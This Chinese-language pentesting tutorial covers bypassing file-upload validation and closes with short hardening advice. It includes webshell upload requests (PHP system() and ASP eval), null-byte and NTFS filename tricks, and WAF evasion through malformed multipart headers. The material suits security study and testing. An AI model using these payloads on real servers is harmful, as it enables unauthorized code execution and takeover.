文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得服務器權限最快最直接。但是想真正把這個漏洞利用好卻不那么容易,其中有很多技巧,也有很多需要掌握的知識。俗話說,知己知彼方能百戰不殆,因此想要研究怎么防護漏洞,就要了解怎么去利用。此篇文章主要分三部分:總結一些常見的上傳文件校驗方式,以及繞過校驗的各種姿勢,最后對此漏洞提幾點防護建議。(根據個人經驗總結,歡迎補充糾錯~~)
文件上傳校驗姿勢
- 客戶端javascript校驗(一般只校驗后綴名)
- 服務端校驗
- 文件頭content-type字段校驗(image/gif)
- 文件內容頭校驗(GIF89a)
- 后綴名黑名單校驗
- 后綴名白名單校驗
- 自定義正則校驗
- WAF設備校驗(根據不同的WAF產品而定)
1.客戶端校驗
一般都是在網頁上寫一段javascript腳本,校驗上傳文件的后綴名,有白名單形式也有黑名單形式。
判斷方式:在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,內容如:只允許上傳.jpg/.jpeg/.png后綴名的文件,而此時並沒有發送數據包。
2.服務端校驗
2.1 content-type字段校驗
這里以PHP代碼為例,模擬web服務器端的校驗代碼
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
if($_FILES['userfile']['type'] != "image/gif") #這里對上傳的文件類型進行判斷,如果不是image/gif類型便返回錯誤。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
}
else {
echo "File uploading failed.\n";
}
?>
|
可以看到代碼對上傳文件的文件類型進行了判斷,如果不是圖片類型,返回錯誤。
2.2 文件頭校驗
可以通過自己寫正則匹配,判斷文件頭內容是否符合要求,這里舉幾個常見的文件頭對應關系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
文件上傳繞過校驗姿勢
- 客戶端繞過(抓包改包)
- 服務端繞過
- 文件類型
- 文件頭
- 文件后綴名
- 配合文件包含漏洞繞過
- 配合服務器解析漏洞繞過
- CMS、編輯器漏洞繞過
- 配合操作系統文件命名規則繞過
- 配合其他規則繞過
- WAF繞過
1.客戶端繞過
可以利用burp抓包改包,先上傳一個gif類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可。
2.服務端繞過
2.1 文件類型繞過
我們可以通過抓包,將content-type字段改為image/gif
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name=
"userfile"; filename="shell.php"
Content-Type: image/gif (原為 Content-Type: text/plain)
<?php system(
$_GET['command']);?>
--xYzZY-
|
2.2 文件頭繞過
在木馬內容基礎上再加了一些文件信息,有點像下面的結構
GIF89a<?php phpinfo(); ?>
2.3 文件后綴名繞過
前提:黑名單校驗
黑名單檢測:一般有個專門的 blacklist 文件,里面會包含常見的危險腳本文件。
繞過方法:
(1)找黑名單擴展名的漏網之魚 - 比如 asa 和 cer 之類
(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
能被解析的文件擴展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
3.配合文件包含漏洞
前提:校驗規則只校驗當文件后綴名為asp/php/jsp的文件內容是否為木馬。
繞過方式:(這里拿php為例,此漏洞主要存在於PHP中)
(1)先上傳一個內容為木馬的txt后綴文件,因為后綴名的關系沒有檢驗內容;
(2)然后再上傳一個.php的文件,內容為<?php Include(“上傳的txt文件路徑”);?>
此時,這個php文件就會去引用txt文件的內容,從而繞過校驗,下面列舉包含的語法:
1
2
3
4
5
6
7
8
|
#PHP
<?php Include(
"上傳的txt文件路徑");?>
#ASP
<!--
#include file="上傳的txt文件路徑" -->
#JSP
<jsp:inclde page=
"上傳的txt文件路徑"/>
or
<%@include file=
"上傳的txt文件路徑"%>
|
詳細參考:文件包含漏洞(繞過姿勢)
4.配合服務器解析漏洞
詳細可參考:http://thief.one/2016/09/21/服務器解析漏洞/
5.配合操作系統文件命令規則
(1)上傳不符合windows文件命名規則的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
shell.php::$DATA…….
會被windows系統自動去掉不符合規則符號后面的內容。
(2)linux下后綴名大小寫
在linux下,如果上傳php不被解析,可以試試上傳pHp后綴的文件名。
6.CMS、編輯器漏洞
(1)CMS漏洞:比如說JCMS等存在的漏洞,可以針對不同CMS存在的上傳漏洞進行繞過。
(2)編輯器漏洞:比如FCK,ewebeditor等,可以針對編輯器的漏洞進行繞過。
這兩方面的漏洞以后單獨成文匯總,這里點到為止。
7.配合其他規則
(1)0x00截斷:基於一個組合邏輯漏洞造成的,通常存在於構造上傳文件路徑的時候
test.php(0x00).jpg
test.php%00.jpg
路徑/upload/1.php(0x00),文件名1.jpg,結合/upload/1.php(0x00)/1.jpg
偽代碼演示:
1
2
3
4
5
|
name= getname(httprequest) //假如這時候獲取到的文件名是 help.asp.jpg(asp 后面為 0x00)
type =gettype(name) //而在 gettype()函數里處理方式是從后往前掃描擴展名,所以判斷為 jpg
if(type == jpg)
SaveFileToPath(UploadPath.name, name) //但在這里卻是以 0x00 作為文件名截斷
//最后以 help.asp 存入路徑里
|
8.WAF繞過
8.1 垃圾數據
有些主機WAF軟件為了不影響web服務器的性能,會對校驗的用戶數據設置大小上限,比如1M。此種情況可以構造一個大文件,前面1M的內容為垃圾內容,后面才是真正的木馬內容,便可以繞過WAF對文件內容的校驗;
當然也可以將垃圾數據放在數據包最開頭,這樣便可以繞過對文件名的校驗。
可以將垃圾數據加上Content-Disposition參數后面,參數內容過長,可能會導致waf檢測出錯。
8.2 filename
針對早期版本安全狗,可以多加一個filename
或者將filename換位置,在IIS6.0下如果我們換一種書寫方式,把filename放在其他地方:
8.3 POST/GET
有些WAF的規則是:如果數據包為POST類型,則校驗數據包內容。
此種情況可以上傳一個POST型的數據包,抓包將POST改為GET。
8.4 以上方式
針對WAF,以上介紹的服務器解析漏洞、文件包含漏洞等都可以嘗試繞過。
————————————————2017.2.6更新————————————————–
8.5 利用waf本身缺陷
刪除實體里面的Conten-Type字段
第一種是刪除Content整行,第二種是刪除C后面的字符。刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟着c.php。
1
2
3
|
正常包:Content-Disposition: form-data; name=
"image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
構造包:Content-Disposition: form-data; name=
"image"; filename="085733uykwusqcs8vw8wky.png
C.php"
|
刪除Content-Disposition字段里的空格
增加一個空格導致安全狗被繞過案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
嘗試在boundary后面加個空格或者其他可被正常處理的字符:
boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小寫
Boundary邊界不一致
每次文件上傳時的Boundary邊界都是一致的:
1
2
3
4
5
6
7
8
|
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name=
"file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%
eval request("a")%>
-----------------------------4714631421141173021852555099--
|
但如果容器在處理的過程中並沒有嚴格要求一致的話可能會導致一個問題,兩段Boundary不一致使得waf認為這段數據是無意義的,可是容器並沒有那么嚴謹:
Win2k3 + IIS6.0 + ASP
文件名處回車
多個Content-Disposition
在IIS的環境下,上傳文件時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數,而如果waf只是取最后一個的話便會被繞過,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性
ADS是NTFS磁盤格式的一個特性,用於NTFS交換數據流。在上傳文件時,如果waf對請求正文的filename匹配不當的話可能會導致繞過。
其他情況補充
文件重命名繞過
如果web程序會將filename除了擴展名的那段重命名的話,那么還可以構造更多的點、符號等等。
特殊的長文件名繞過
文件名使用非字母數字,比如中文等最大程度的拉長,不行的話再結合一下其他的特性進行測試:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反刪除
將下圖file1改成了file4,這樣就不會把這個文件刪除了。(JCMS漏洞)
文件校驗的幾點建議
- 文件擴展名服務端白名單校驗。
- 文件內容服務端校驗。
- 上傳文件重命名。
- 隱藏上傳文件路徑。
以上幾點,可以防御絕大多數上傳漏洞,但是需要跟服務器容器結合起來。如果解析漏洞依然存在,那么沒有絕對的安全。
參考文章:
https://xianzhi.aliyun.com/forum/read/458.html?fpage=2
還有一篇tools上大牛的文章,url暫時找不到了……